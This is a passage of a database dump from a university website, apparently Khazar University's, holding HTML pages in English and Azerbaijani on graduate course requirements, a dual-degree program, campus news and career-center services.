840</p></td><td width=\"56%\"><p>&nbsp;Financial Management and Policy</p></td><td width=\"12%\"><p>&nbsp;3</p></td></tr><tr><td width=\"31%\"><p>&nbsp;MGT 830</p></td><td width=\"56%\"><p>&nbsp;Organizational Behavior</p></td><td width=\"12%\"><p>&nbsp;3</p></td></tr><tr><td width=\"31%\"><p>&nbsp;ACC 900</p></td><td width=\"56%\"><p>&nbsp;Accounting, Finance and Law</p></td><td width=\"12%\"><p>&nbsp;3</p></td></tr><tr><td width=\"31%\"><p>&nbsp;EMGT 850</p></td><td width=\"56%\"><p>&nbsp;Operations Management and Logistics</p></td><td width=\"12%\"><p>&nbsp;3</p></td></tr><tr><td width=\"31%\"><p>&nbsp;MGT 810</p></td><td width=\"56%\"><p>&nbsp;Strategic Business Communication</p></td><td width=\"12%\"><p>&nbsp;3</p></td></tr><tr><td width=\"31%\"><p>&nbsp;</p></td><td width=\"56%\"><p>&nbsp;</p></td><td width=\"12%\"><p>&nbsp;</p></td></tr><tr><td width=\"31%\"><p>&nbsp;Financial Management</p></td><td width=\"56%\"><p>&nbsp;Requires five of the following classes</p></td><td width=\"12%\"><p>&nbsp;</p></td></tr><tr><td width=\"31%\"><p>&nbsp;FIN 851</p></td><td width=\"56%\"><p>&nbsp;Investment Management</p></td><td width=\"12%\"><p>&nbsp;3</p></td></tr><tr><td width=\"31%\"><p>&nbsp;FIN 855</p></td><td width=\"56%\"><p>&nbsp;Taxation</p></td><td width=\"12%\"><p>&nbsp;3</p></td></tr><tr><td width=\"31%\"><p>&nbsp;FIN 890</p></td><td width=\"56%\"><p>&nbsp;Advanced Corporate Finance</p></td><td width=\"12%\"><p>&nbsp;3</p></td></tr><tr><td width=\"31%\"><p>&nbsp;FIN 840</p></td><td width=\"56%\"><p>&nbsp;Financial Management and Policy</p></td><td width=\"12%\"><p>&nbsp;3</p></td></tr><tr><td width=\"31%\"><p>&nbsp;FIN 830</p></td><td width=\"56%\"><p>&nbsp;Financial Risk Management</p></td><td width=\"12%\"><p>&nbsp;3</p></td></tr><tr><td width=\"31%\"><p>&nbsp;FIN 885</p></td><td width=\"56%\"><p>&nbsp;Financial Statements Analysis</p></td><td width=\"12%\"><p>&nbsp;3</p></td></tr><tr><td width=\"31%\"><p>&nbsp;FIN 875</p></td><td width=\"56%\"><p>&nbsp;Behavioral Finance</p></td><td width=\"12%\"><p>&nbsp;3</p></td></tr><tr><td width=\"31%\"><p>&nbsp;Major Electives</p></td><td width=\"56%\"><p>&nbsp;Three major electives can be chosen&nbsp;</p></td><td width=\"12%\"><p>&nbsp;</p></td></tr><tr><td width=\"31%\"><p>&nbsp;FIN 835</p></td><td width=\"56%\"><p>&nbsp;Bank Management</p></td><td width=\"12%\"><p>&nbsp;3</p></td></tr><tr><td width=\"31%\"><p>&nbsp;FIN 845</p></td><td width=\"56%\"><p>&nbsp;International Finance</p></td><td width=\"12%\"><p>&nbsp;3</p></td></tr><tr><td width=\"31%\"><p>&nbsp;MGT 830</p></td><td width=\"56%\"><p>&nbsp;Organizational Behavior</p></td><td width=\"12%\"><p>&nbsp;3</p></td></tr><tr><td width=\"31%\"><p>&nbsp;EMGT 850</p></td><td width=\"56%\"><p>&nbsp;Operations Management and Logistics</p></td><td width=\"12%\"><p>&nbsp;3</p></td></tr><tr><td width=\"31%\"><p>&nbsp;MGT 810</p></td><td width=\"56%\"><p>&nbsp;Strategic Business Communication</p></td><td width=\"12%\"><p>&nbsp;3</p></td></tr><tr><td width=\"31%\"><p>&nbsp;</p></td><td width=\"56%\"><p>&nbsp;Research Methods</p></td><td width=\"12%\"><p>&nbsp;3</p></td></tr><tr><td width=\"31%\"><p>&nbsp;</p></td><td width=\"56%\"><p>&nbsp;</p></td><td width=\"12%\"><p>&nbsp;</p></td></tr><tr><td width=\"31%\"><p>&nbsp;Marketing;</p></td><td width=\"56%\"><p>&nbsp;Requires five of the following classes</p></td><td width=\"12%\"><p>&nbsp;</p></td></tr><tr><td width=\"31%\"><p>&nbsp;MKT 849</p></td><td width=\"56%\"><p>&nbsp;International Marketing</p></td><td width=\"12%\"><p>&nbsp;3</p></td></tr><tr><td width=\"31%\"><p>&nbsp;MKT 846</p></td><td width=\"56%\"><p>&nbsp;Consumer Behavior</p></td><td width=\"12%\"><p>&nbsp;3</p></td></tr><tr><td width=\"31%\"><p>&nbsp;MKT 850</p></td><td width=\"56%\"><p>&nbsp;Marketing Research</p></td><td width=\"12%\"><p>&nbsp;3</p></td></tr><tr><td width=\"31%\"><p>&nbsp;MKT 837</p></td><td width=\"56%\"><p>&nbsp;Service Marketing</p></td><td width=\"12%\"><p>&nbsp;3</p></td></tr><tr><td width=\"31%\"><p>&nbsp;MKT 820</p></td><td width=\"56%\"><p>&nbsp;Marketing Analysis and Strategies</p></td><td width=\"12%\"><p>&nbsp;3</p></td></tr><tr><td width=\"31%\"><p>&nbsp;MKT 838</p></td><td width=\"56%\"><p>&nbsp;Advertising Strategy</p></td><td width=\"12%\"><p>&nbsp;3</p></td></tr><tr><td width=\"31%\"><p>&nbsp;MKT 810</p></td><td width=\"56%\"><p>&nbsp;Marketing Policy</p></td><td width=\"12%\"><p>&nbsp;3</p></td></tr><tr><td width=\"31%\"><p>&nbsp;Major Electives</p></td><td width=\"56%\"><p>&nbsp;Three major electives can be chosen</p></td><td width=\"12%\"><p>15</p></td></tr><tr><td width=\"31%\"><p>&nbsp;MGT 825</p></td><td width=\"56%\"><p>&nbsp;Management and Cross National Environment</p></td><td width=\"12%\"><p>&nbsp;3</p></td></tr><tr><td width=\"31%\"><p>&nbsp;IB 820</p></td><td width=\"56%\"><p>&nbsp;International Business</p></td><td width=\"12%\"><p>&nbsp;3</p></td></tr><tr><td width=\"31%\"><p>&nbsp;MGT 830</p></td><td width=\"56%\"><p>&nbsp;Organizational Behavior</p></td><td width=\"12%\"><p>&nbsp;3</p></td></tr><tr><td width=\"31%\"><p>&nbsp;EMGT 850</p></td><td width=\"56%\"><p>&nbsp;Operations Management and Logistics</p></td><td width=\"12%\"><p>&nbsp;3</p></td></tr><tr><td width=\"31%\"><p>&nbsp;MGT 810</p></td><td width=\"56%\"><p>&nbsp;Strategic Business Communication</p></td><td width=\"12%\"><p>&nbsp;3</p></td></tr><tr><td width=\"31%\"><p>&nbsp;</p></td><td width=\"56%\"><p>&nbsp;Research methods</p></td><td width=\"12%\"><p>&nbsp;3</p></td></tr><tr><td width=\"31%\"><p>&nbsp;</p></td><td width=\"56%\"><p>&nbsp;</p></td><td width=\"12%\"><p>&nbsp;</p></td></tr><tr><td width=\"31%\"><p>IndustrialOrganization and Management</p><p>&nbsp;-Project Management</p></td><td width=\"56%\"><p>&nbsp;Requires five of the following classes</p></td><td width=\"12%\"><p>&nbsp;</p></td></tr><tr><td width=\"31%\"><p>&nbsp;MGT 870</p></td><td width=\"56%\"><p>&nbsp;Project Management Framework</p></td><td width=\"12%\"><p>&nbsp;3</p></td></tr><tr><td width=\"31%\"><p>&nbsp;MGT 865</p></td><td width=\"56%\"><p>&nbsp;Strategic Project Management</p></td><td width=\"12%\"><p>&nbsp;3</p></td></tr><tr><td width=\"31%\"><p>&nbsp;EMGT 850</p></td><td width=\"56%\"><p>&nbsp;Operations Management and Logistics</p></td><td width=\"12%\"><p>&nbsp;3</p></td></tr><tr><td width=\"31%\"><p>&nbsp;MGT 830</p></td><td width=\"56%\"><p>&nbsp;Organizational Behavior</p></td><td width=\"12%\"><p>&nbsp;3</p></td></tr><tr><td width=\"31%\"><p>&nbsp;MGT 810</p></td><td width=\"56%\"><p>&nbsp;Strategic Business Communication</p></td><td width=\"12%\"><p>&nbsp;3</p></td></tr><tr><td width=\"31%\"><p>&nbsp;MGT 845</p></td><td width=\"56%\"><p>&nbsp;Human Resource Management</p></td><td width=\"12%\"><p>&nbsp;3</p></td></tr><tr><td width=\"31%\"><p>&nbsp;Major Electives</p></td><td width=\"56%\"><p>&nbsp;Three major electives can be chosen</p></td><td width=\"12%\"><p>&nbsp;</p></td></tr><tr><td width=\"31%\"><p>&nbsp;MGT 825</p></td><td width=\"56%\"><p>&nbsp;Management and Cross National Environment</p></td><td width=\"12%\"><p>&nbsp;3</p></td></tr><tr><td width=\"31%\"><p>&nbsp;MGT 848</p></td><td width=\"56%\"><p>&nbsp;Leadership, Power and Politics</p></td><td width=\"12%\"><p>&nbsp;3</p></td></tr><tr><td width=\"31%\"><p>&nbsp;MKT 850</p></td><td width=\"56%\"><p>&nbsp;International Marketing</p></td><td width=\"12%\"><p>&nbsp;3</p></td></tr><tr><td width=\"31%\"><p>&nbsp;IB 820</p></td><td width=\"56%\"><p>&nbsp;International Business</p></td><td width=\"12%\"><p>&nbsp;3</p></td></tr><tr><td width=\"31%\"><p>&nbsp;</p></td><td width=\"56%\"><p>&nbsp;Research methods</p></td><td width=\"12%\"><p>&nbsp;3</p></td></tr><tr><td width=\"31%\"><p>&nbsp;</p></td><td width=\"56%\"><p>&nbsp;</p></td><td width=\"12%\"><p>&nbsp;3</p></td></tr><tr><td width=\"31%\"><p>&nbsp;General MBA</p></td><td width=\"56%\"><p>&nbsp;Choose five classes from concentration courses or electives</p></td><td width=\"12%\"><p>15</p></td></tr><tr><td width=\"31%\"><p>&nbsp;TOTAL</p></td><td width=\"56%\"><p>&nbsp;</p></td><td width=\"12%\"><p>45</p></td></tr></tbody></table><br><div><br></div><p>Note:&nbsp;The School may also offer alternative courses to those listed above.</p><p>Master of Science (MS) in International Economics</p><p>The MS in International&nbsp;Economics is designed to provide in-depth theoretical and applied training needed to function successfully as professional economists in the business environment, and as researcher for further Ph.D. degree. The program furnishes the students with a solid background in economic theory, knowledge of analytical, qualitative and quantitative tools needed for decision-making in various business settings. To complete the program a student must obtain 45 credits.</p><div><br></div><br><table><tbody><tr><td width=\"156\"><p>Code</p></td><td width=\"266\"><p>Courses</p></td><td><p>Credits</p></td></tr><tr><td width=\"156\"><p>&nbsp;</p></td><td width=\"266\"><p>&nbsp;</p></td><td><p>&nbsp;</p></td></tr><tr><td width=\"156\"><p>&nbsp;EMGT 810</p></td><td width=\"266\"><p>&nbsp;Energy Economics</p></td><td><p>3</p></td></tr><tr><td width=\"156\"><p>&nbsp;MATH 820</p></td><td width=\"266\"><p>&nbsp;Statistics and Econometrics</p></td><td><p>3</p></td></tr><tr><td width=\"156\"><p>&nbsp;ECON 830</p></td><td width=\"266\"><p>&nbsp;Managerial Economics</p></td><td><p>3</p></td></tr><tr><td width=\"156\"><p>&nbsp;MGT 860</p></td><td width=\"266\"><p>&nbsp;Strategic Management</p></td><td><p>3</p></td></tr><tr><td width=\"156\"><p>&nbsp;MKT 850</p></td><td width=\"266\"><p>&nbsp;International Marketing</p></td><td><p>3</p></td></tr><tr><td width=\"156\"><p>&nbsp;MGT 828</p></td><td width=\"266\"><p>&nbsp;International Management</p></td><td><p>3</p></td></tr><tr><td width=\"156\"><p>&nbsp;ECON 844</p></td><td width=\"266\"><p>&nbsp;Regional Economics</p></td><td><p>3</p></td></tr><tr><td width=\"156\"><p>&nbsp;ECON 840</p></td><td width=\"266\"><p>&nbsp;Economic Development</p></td><td><p>3</p></td></tr><tr><td width=\"156\"><p>&nbsp;ECON 845</p></td><td width=\"266\"><p>&nbsp;Human Resources and Labor Market</p></td><td><p>3</p></td></tr><tr><td width=\"156\"><p>&nbsp;FIN 845</p></td><td width=\"266\"><p>&nbsp;International Finance</p></td><td><p>3</p></td></tr><tr><td width=\"156\"><p>&nbsp;FIN 855</p></td><td width=\"266\"><p>&nbsp;Taxation and Tax Policy</p></td><td><p>3</p></td></tr><tr><td width=\"156\"><p>&nbsp;ECON 855</p></td><td width=\"266\"><p>&nbsp;Macroeconomic Analysis and Forecasting</p></td><td><p>3</p></td></tr><tr><td width=\"156\"><p>&nbsp;ECON 880</p></td><td width=\"266\"><p>&nbsp;International Trade</p></td><td><p>3</p></td></tr><tr><td width=\"156\"><p>&nbsp;</p></td><td width=\"266\"><p>&nbsp;Electives</p></td><td><p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 6</p></td></tr><tr><td width=\"156\"><p>&nbsp;TOTAL</p></td><td width=\"266\"><p>&nbsp;</p></td><td><p>45</p></td></tr></tbody></table><br><div><br></div><p>Note:&nbsp;The School may also offer alternative courses to those listed above.</p><p>&nbsp;Dual Master Programs in:</p><p>“Energy and Sustainable Development Management” jointly with IPAG – Institut de Préparation à l’Administration et à la Gestion&nbsp;<br><br>&nbsp;What is a “Double Degree”? &nbsp;</p><div><br></div><br><table mso-cellspacing:1.5pt;background:white;border-width:1px;border-style:solid\"=\"\" cellpadding=\"0\" style=\"box-sizing: border-box; border-spacing: 0px; border-collapse: collapse; background-color: rgb(255, 255, 255); border-style: solid; border-color: rgb(204, 204, 204); color: rgb(51, 51, 51); font-family: \" source=\"\" sans=\"\" pro\",=\"\" sans-serif;=\"\" font-size:=\"\" 14px;\"=\"\"><tbody><tr><td><p>&nbsp;&nbsp;</p></td><td><br><p>&nbsp;Satisfy degree requirements of home institution and host institution</p><p>&nbsp;Receive 2 degrees from home and host institutions</p><br></td></tr></tbody></table><br><div><br></div><p>Why a Double Degree?</p><div><br></div><br><table mso-cellspacing:1.5pt;background:white;border-width:1px;border-style:solid\"=\"\" cellpadding=\"0\" style=\"box-sizing: border-box; border-spacing: 0px; border-collapse: collapse; background-color: rgb(255, 255, 255); border-style: solid; border-color: rgb(204, 204, 204); color: rgb(51, 51, 51); font-family: \" source=\"\" sans=\"\" pro\",=\"\" sans-serif;=\"\" font-size:=\"\" 14px;\"=\"\"><tbody><tr><td><p>&nbsp;&nbsp;</p></td><td><p>International Quality Standards&nbsp; Exposure to excellent research environments&nbsp; Opportunity to spend time at the partner institution&nbsp; A cultural and social experience&nbsp; Makes you unique&nbsp; Create an international network&nbsp; Great cities!&nbsp;</p></td></tr></tbody></table><br><div><br></div><p>Master Thesis&nbsp;</p><p>The Master students are able to select a Thesis as their culminating experience in the program. If a student chooses to write a thesis, the thesis shall normally be valued at 6 credits. The thesis supervisor and student must determine the topic, resources and format of the thesis. This has to be approved by the Dean of the School, Director of the Graduate Programs and Head of Department. For details please refer to \"Theses and Dissertations: General Guidelines for Graduate Studies\".</p><p>Credit transfer procedures&nbsp;</p><p>A Master student may receive credit for the work accomplished in other recognized institutions that offer a graduate degree in the field in which the work has been completed upon the recommendation of the department and the approval of the Dean of the Graduate School.&nbsp;</p></div>'),(2185,1338,'en','Preliminary Doctoral Defense Held','On September 19, 2016, Khazar University’s Division of Graduate Students and Research, the Department of English Language and Literature...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;line-height:normal\"\"=\"\">On\r\nSeptember 19, 2016, Khazar University’s Division of Graduate Students and\r\nResearch, the Department of English Language and Literature, and the Department\r\nof Azerbaijani Language and Literature held the primary defense for Narmina\r\nFataliyeva’s doctoral dissertation (in Russian) on “The Problem of Synonymy:\r\nLinguistic and Extra-linguistic Factors Regulating the Selection of English\r\nSynonyms.” Participants in the defense included Dr. Eldar Shahgaldiyev, Head of\r\nthe Division for Graduate Students and Research; Dr. Reyhan Madatova,\r\ninstructor for the Department of Azerbaijani Language and Literature; Dr. Amil\r\nJafarov, Head of the English Lexicology Department of Azerbaijan University of\r\nLanguages; Dr. Farida Allahverdiyeva and Dr. Irada Nuriyeva, Instructors from\r\nAzerbaijan University of Languages; and instructors from Khazar University\r\nDepartment of English Language and Literature. Doctoral candidate Narmina\r\nFataliyeva made a presentation mentioning the key functions of euphemisms in a\r\nmodern society as well as social and cognitive factors that regulate the choice\r\nof euphemisms. The doctoral candidate answered the panel’s questions after the\r\npresentation.</p>'),(2192,1342,'az','Tələbələrə Dəstək','Tələbələrə Dəstək','<p style=\"font-size:large\">Seçimlərinizlə bağlı danışmaq, intervü təcrübələrinə yiyələnmək və ya sizin üçün uyğun olan işi tapmaq üçün məşğulluq dünyasına daxil olduğunuz zaman sizə dəstək verməyə hazırıq. Məzun olduqdan sonrakı iki il müddətində Karyera Mərkəzinin tam dəstəyini əldə edə bilərsiniz. İstər karyeranıza başlamaq mərhələsində olun, istərsə də professional həyatda arıq öz mövqeyinizi tutmuş olun, istənilən halda, yeni çağırışlar axtarırsınızsa, universitet tərəfindən idarə olunan və məzunlar üçün uyğunlaşdırılmış bir sıra tədbirlərimizdən faydalana bilərsiniz. Şəbəkə qurmaq, iş axtarmaq, eləcə də yerli və beynəlxalq sahibkarlarla əlaqə yaratmaq üçün sizi ödənişsiz tədbirlərdə iştirak etməyə dəvət edirik.</p><p>Universitet karyera fəaliyyəti ilə bağlı tələbələrlə danışmaq üçün həmişə məşğulluq sahələrində çalışan məzunlara ehtiyac duyur. Əgər bu mövzuda Xəzər Universitetinə bir şey verə biləcəyinizi düşünürsənsə, Karyera Mərkəzinə müraciət edin.</p><p>Siz, həmçinin, akademik və peşəkar işlərdə hazırki tələbələri və məzunları dəstəkləmək üçün Karyera Mərkəzi ilə əlaqə yarada bilərsiniz. Nəticə etibarı ilə, təcrübəli stajçıları və qiymətli işçiləri öz universitetinizdən seçə bilərsiniz.</p><p>Məzunların bir araya gəlməsi dostlar və qrup yoldaşları ilə yenidən əlaqə yaratmaq və Xəzər Universitetinin bugünkü inkişaf pilləsinə necə gəlib çatdığını görmək üçün fürsət yaradır.</p><p>Əlavə məlumat üçün Karyera Mərkəzinə müraciət edin.</p>'),(2193,1342,'en','Student Support','Student Support','<h2></h2><p>We are committed to supporting you as you enter the world of employment, whether you need to talk through your options, practice for interviews, or find the job that\'s right for you. For up to two years after graduation, you can access our full range of support of Career Center. Whether you are just starting out in your career, well established in your role, or looking for new challenges, there is a wide range of events run by the University and tailored for alumni. Participate in free events to advance your networking, job searching and connections with local and international employers. Follow the calendar for upcoming events.</p><p>The University always needs alumni from all sectors of employment to speak to students at careers events. If you feel you can give something back to Khazar University in this way, please contact the <strong><a href=\"http://www.khazar.org/en/menus/103/career_center\">Career Center</a></strong>.</p><p>You can also partner with the Career Center to support current students and fellow graduates in their academic and professional endeavors. Search for outstanding interns and valuable employees from your own University.</p><p>The Alumni Reunion provides a fantastic opportunity to reconnect with friends and classmates and see how Khazar University has grown into the university it is today.</p><p>Make an appointment calling&nbsp;<strong>00994 12 421 7916 (212)</strong>&nbsp;or emailing to&nbsp;<a href=\"mailto:careercenter@khazar.org\">careercenter@khazar.org</a>&nbsp;to schedule the date and time.</p>'),(2194,1343,'az','İş imkanları','İş imkanları','<p style=\"font-size:x-large\"><strong>İş imkanları</strong></p>\r\n<p>Xəzər Universitetinin məzunu kimi, Siz əldə\r\netdiyiniz bilik və bacarıqlardan&nbsp; ömür\r\nboyu faydalana bilərsiniz. Hal-hazırda Xəzərdə və ya Xəzərdən kənarda\r\nolmağınıza baxmayaraq, Karyera İnkişaf Mərkəzi sizin peşəkar və akademik məqsədlərinizə\r\nnail olmaq üçün sizə kömək etməyə hazırdır.</p>\r\n<p><strong>Görüş</strong></p>\r\n<p>Əgər yeni məzun olmusunuz və ya karyeranızı dəyişmək\r\nistəyirsinizsə,<strong> </strong><a href=\"http://www.khazar.org/en/menus/103/career_development_center\">http://www.khazar.org/en/menus/103/career_development_center</a>linkini\r\nizləyin və ya careercenter@khazar.org&nbsp;e-mail\r\nünvanından əlaqə saxlayın.</p>\r\n<p><strong>Tədbirlər və Proqramlar</strong></p>\r\n<p>Siz pulsuz tədbirlərdə və\r\nproqramlarda iştirak etməklə, şəbəkənizi artıra və iş imkanları əldə edə bilər,\r\neyni zamanda yerli və beynəlxalq işə götürənlərlə tanış olub əlaqələrinizi\r\ninkişaf etdirə bilərsiniz. Qarşıdan gələn Karyera Sərgisi, Karyera məsləhətləri,\r\nSeminarlar, Şirkətlərlə işguzar görüşlər və təqdimatların təqvimini izləməklə\r\nbu tədbirlərdə iştirak edə bilərsiniz.</p>'),(2195,1343,'en','Employment Resources','Employment Resources','<p style=\"font-size:x-large\"><strong>Employment\r\nResources</strong></p>\r\n<p>As a graduate of Khazar University, you may contribute your skills and\r\nservices throughout your lifetime. Whether you are inside or outside Khazar,\r\nthe Career Development Center is committed to helping you to manage your\r\nprofessional and academic pursuits.</p>\r\n<p>&nbsp;</p>\r\n<p><strong>APPOINTMENTS</strong></p>\r\n<p>If you are a new graduate or want to change careers, please follow the\r\nlink <a href=\"http://www.khazar.org/en/menus/103/career_development_center\">http://www.khazar.org/en/menus/103/career_development_center</a> or contact\r\nthe us, via the following e-mail address: careercenter@khazar.org</p>\r\n<p>&nbsp;</p>\r\n<p><strong>EVENTS and PROGRAMS</strong></p>\r\n<p>Participate in free events and programs to advance your networking, job\r\nsearching and connections with local and international employers. Follow the\r\ncalendar for upcoming Career Fairs, Career Consultancies, Workshops, Business\r\nMeetings with Companies and Presentations.&nbsp;</p>'),(2196,1344,'az','Tərəfdaşlıq imkanları','Tərəfdaşlıq imkanları','<p style=\"font-size:x-large\"><strong>Tərəfdaşlıq imkanları</strong></p>\r\n<p>Hazırki tələbələri və\r\nməzunları onların akademik və professional fəaliyyətlərində dəstəkləmək üçün\r\nKaryera İnkişaf Mərkəzi ilə tərəfdaşlıq edin.</p>\r\n<p><strong>Mütəxəssisə çevril</strong></p>\r\n<p>Karyera inkişaf Mərkəzinin\r\ntədbirlərində iştirak etməklə siz, Seminarlar, təqdimatlar, sınaq müsahibələri\r\nvə şəbəkə məsələləri haqqında öz biliklərinizi bölüşə bilərsiniz. Əlavə məlumat\r\nüçün: careercenter@khazar.org</p>\r\n<p>Bizimlə tərəfdaşləq\r\netməklə İş imkanları, təcrübə proqramları, Karyera məsləhətləri verə bilər, Şəxsi&nbsp; professional təcrübənizi bölüşə və yeni\r\ninsanlarla tanış ola bilərsiniz.</p>\r\n<p><strong>Layiqli namizədi işə al</strong></p>\r\n<p>Layiqli təcrübəçiləri\r\nvə qiymətli işçiləri elə öz Universitetindən seç. Xəzər Universitetinin tələbə\r\nvə məzunlarını işə almaq üçün Karyera Mərkəzinin xidmətlərindən istifadə edin.</p>'),(2197,1344,'en','Partnership Opportunities','Partnership Opportunities','<p><strong style=\"font-size:x-large\">Partnership\r\nOpportunities</strong></p>\r\n<p>Partner with the\r\nCareer Development Center to support current students and fellow graduates in\r\ntheir academic and professional endeavors. </p>\r\n<p>&nbsp;</p>\r\n<p><strong>BECOME A PROFESSIONAL</strong> </p>\r\n<p>Participate in Career\r\nDevelopment Center events and share your expertise in workshops, presentations,\r\nmock interviews, networking events and visits to your company/organization. For&nbsp;more information: careercenter@khazar.org</p>\r\n<p>Connect with us and\r\npromote job opportunities and internship programs, offer career advice, share\r\nyour professional experience and introduce new contacts. </p>\r\n<p>&nbsp;</p>\r\n<p><strong>HIRE AN OUTSTANDING\r\nCANDIDATE</strong></p>\r\n<p>Search for outstanding\r\ninterns and valuable employees from your own University. Follow Career Center Services\r\nto recruit Khazar University students and alumni.</p>'),(2198,1345,'az','“Potensial Məktəb Direktorları” layihəsi çərçivəsində 4-cü “Məzunluq Mərasimi” keçiriləcək','30 Sentyabr 2016-ci il tarixində saat 18:00-da Xəzər Universitetinin “Dünya” Məktəbində Xəzər Universitetinin rəhbəriliyinin iştirakı ilə...','<p>30\r\nSentyabr 2016-ci il tarixində saat 18:00-da Xəzər Universitetinin “Dünya” Məktəbində\r\nXəzər Universitetinin rəhbəriliyinin iştirakı ilə &nbsp;“Potensial Məktəb\r\nDirektorları” layihəsi çərçivəsində 4-cü Məzunluq mərasimi keçiriləcək.&nbsp;</p>'),(2199,1345,'en','4th Graduation Ceremony for Potential School Directors ','On September 30, 2016 at 18:00, a Graduation Ceremony for the fourth class to complete the Management Training Course for Potential School Directors...','<p>On September 30, 2016 at 18:00, a Graduation\r\nCeremony for the fourth class to complete the Management Training Course for\r\nPotential School Directors will be held at Khazar University’s affiliate Dunya\r\nSchool.&nbsp;</p>'),(2200,1346,'az','Üzeyir Hacıbəyli doğum günündə anıldı','2016-cı il sentyabrın 18-də “Dünya” məktəbində dahi bəstəkar, musiqişünas-alim, publisist, dramaturq, pedaqoq və ictimai xadim...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:13.5pt;background:white\"\"=\"\">2016-cı il sentyabrın 18-də “Dünya” məktəbində\r\ndahi bəstəkar, musiqişünas-alim, publisist, dramaturq, pedaqoq və ictimai\r\nxadim, müasir Azərbaycan musiqi sənətinin və milli operasının banisi Üzeyir Hacıbəyovun\r\nanadan olmasının ildönümü münasibətilə tədbir keçirildi. Tədbir iştirakçılarına\r\nÜzeyir sənəti haqqında məlumat verildi, sənədli film nümayiş etdirildi.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:13.5pt;background:white\"\"=\"\">Artıq bir neçə gündür ki, “Dünya” məktəbində\r\nÜzeyir Hacıbəyliyə həsr olunmuş tədbirlər silsiləsi davam edir. Bəstəkarın əsərlərindən\r\nparçalar dinlənilir, müəllim və şagirdlər dahi sənətkarın xatirəsini anır,\r\nhaqqında söhbət açılır.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:13.5pt;background:white\"\"=\"\">Hər il olduğu kimi, siniflər qrup şəklində bu\r\nil də Uzeyir Hacıbəylinin ev muzeyini ziyarət edirlər. Dahi bəstəkar haqqında\r\nşagirdlərə məlumat verilir.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:13.5pt;background:white\"\"=\"\">Üzeyir Hacıbəyovla eyni gündə anadan olan\r\nAzərbaycan bəstəkarı, dirijor, pedaqoq, folklorşünas, ictimai xadim, Azərbaycan\r\nmusiqisində Avropa stilində ilk operanın müəllifi (“Nərgiz”, 1935), Azərbaycan SSR\r\nƏməkdar incəsənət xadimi Müslüm Maqomayevin də (18 sentyabr 1885 – 28 iyul\r\n1937) xatirəsi yad olunur.</p>'),(2201,1346,'en','Uzeyir Hajibeyli Commemorated','On September 18, 2016, an event was held at Dunya School to commemorate the birthday of Uzeyir Hajibeyli, great composer, music scholar...','<p>On September 18, 2016, an event\r\nwas held at Dunya School to commemorate the birthday of Uzeyir Hajibeyli, great\r\ncomposer, music scholar, playwright, educator, civil servant, and the father of\r\nmodern Azerbaijani music and national opera. Participants listened to\r\ninformation about Hajibeyli and watched a documentary about him. </p>\r\n<p>This event was part of a series of\r\nevents at Dunya School dedicated to Uzeyir Hajibeyli including performances of\r\nthe composer’s music, memories shared by teachers and students, and\r\ndiscussions. </p>\r\n<p>This year, as in other years,\r\nstudents were taken on a field trip to Uzeyir Hajibeyli’s house museum, where\r\nthey learned more about the great composer. </p>\r\n<p>On the same day, another\r\nhistorical figure is also remembered:&nbsp; September 18 is also the birthday\r\nof Muslum Magomayev (18 September 1885 – 28 July 1937), Azerbaijani composer,\r\ndirector, educator, folklorist, civil servant, author of the first Azerbaijani\r\nopera in European style (Nargiz, 1935) and People’s Artist of the Azerbaijan\r\nSSR.&nbsp;</p>'),(2203,1348,'en','Khazar University Instructor to Continue His Education in Australia on Full Scholarship','Mohammad Mehdi Zarei, a lecturer and researcher at the Department of Chemical and Petroleum Engineering of Khazar University, received a full scholarship to continue...','<p>Mohammad Mehdi Zarei, a lecturer and\r\nresearcher at the Department of Chemical and Petroleum Engineering of Khazar\r\nUniversity, received a full scholarship to continue his education at the\r\nUniversity of Newcastle in Australia.</p>\r\n<p>Mohammad Mehdi Zarei holds a master’s degree\r\nin Chemical Engineering from the University of Sistan and Baluchestan (Iran).\r\nBefore joining Khazar University in April of 2014, Mr. Zarei worked for three\r\nyears as a lecturer in two Iranian Universities: Islamic Azad University of\r\nScience and Research of Fras and Marvdasht University. As a lecturer at Khazar\r\nUniversity, he taught the following courses to undergraduate engineering\r\nstudents: Introduction to Chemical Engineering, Heat Transfer, Mass Transfer,\r\nThermodynamics, and Reservoir Simulation. </p>\r\n<p>Mohammad Mehdi Zarei’s research interests\r\ninclude chemical process modeling, water treatment, and reservoir simulation.\r\nDuring his time at Khazar University, Mohammad Mehdi Zarei co-founded several\r\nlaboratories including Chemical and Petroleum Experimental Research Laboratory,\r\nKhazar Computational Research Centre, Modeling and Simulation Research\r\nLaboratory. He also participated in the establishment of the Chemical\r\nEngineering Department.</p>\r\n<p>Mohammad Mehdi Zarei’s international\r\nexperience includes participation in various conferences, the most recent being\r\nthe Society of Petroleum Engineering (SPE) Annual Caspian Technical Conference\r\n&amp; Exhibition (November 4-6, 2015, Baku, Azerbaijan) and the AIChE Annual\r\nMeeting (November 8-13, 2015, Salt Lake City, Utah, USA).</p>\r\n<p>In order to further his knowledge and\r\nresearch at the Chemical and Petroleum Experimental Research Laboratory, Mehdi\r\nZarei decided to pursue a PhD degree. He received a full scholarship from the\r\nUniversity of Newcastle in Australia. Upon completion of his PhD study, Mehdi\r\nintends to continue the work he started at Khazar University and expand his\r\nresearch.</p>'),(2335,1421,'en','Khazar University eiLink R&D Center Presents Geology Research Project ','On October 12, 2016, Khazar University’s eiLink Research and Development Center held a presentation of its first geology research project...','<p style=\"\" margin:0in;margin-bottom:.0001pt;text-indent:.25in;line-height:normal\"\"=\"\">On\r\nOctober 12, 2016, Khazar University’s eiLink Research and Development Center\r\nheld a presentation of its first geology research project. Opening the\r\npresentation, Professor Hamlet Isaxanli, the founder of Khazar University and\r\nChairman of its Board of Directors and Trustees spoke about the significance of\r\nthe center’s establishment. Then speeches were made by Associate Professor\r\nGasham Zeynalov, Head of the Department of Petroleum Engineering, and members\r\nof the Executive Board of Azerbaijan Petroleum Engineers’ Public Union about\r\nthe creation, functions and current research of the eiLink Research and Development\r\nCenter. </p>\r\n<p style=\"\" 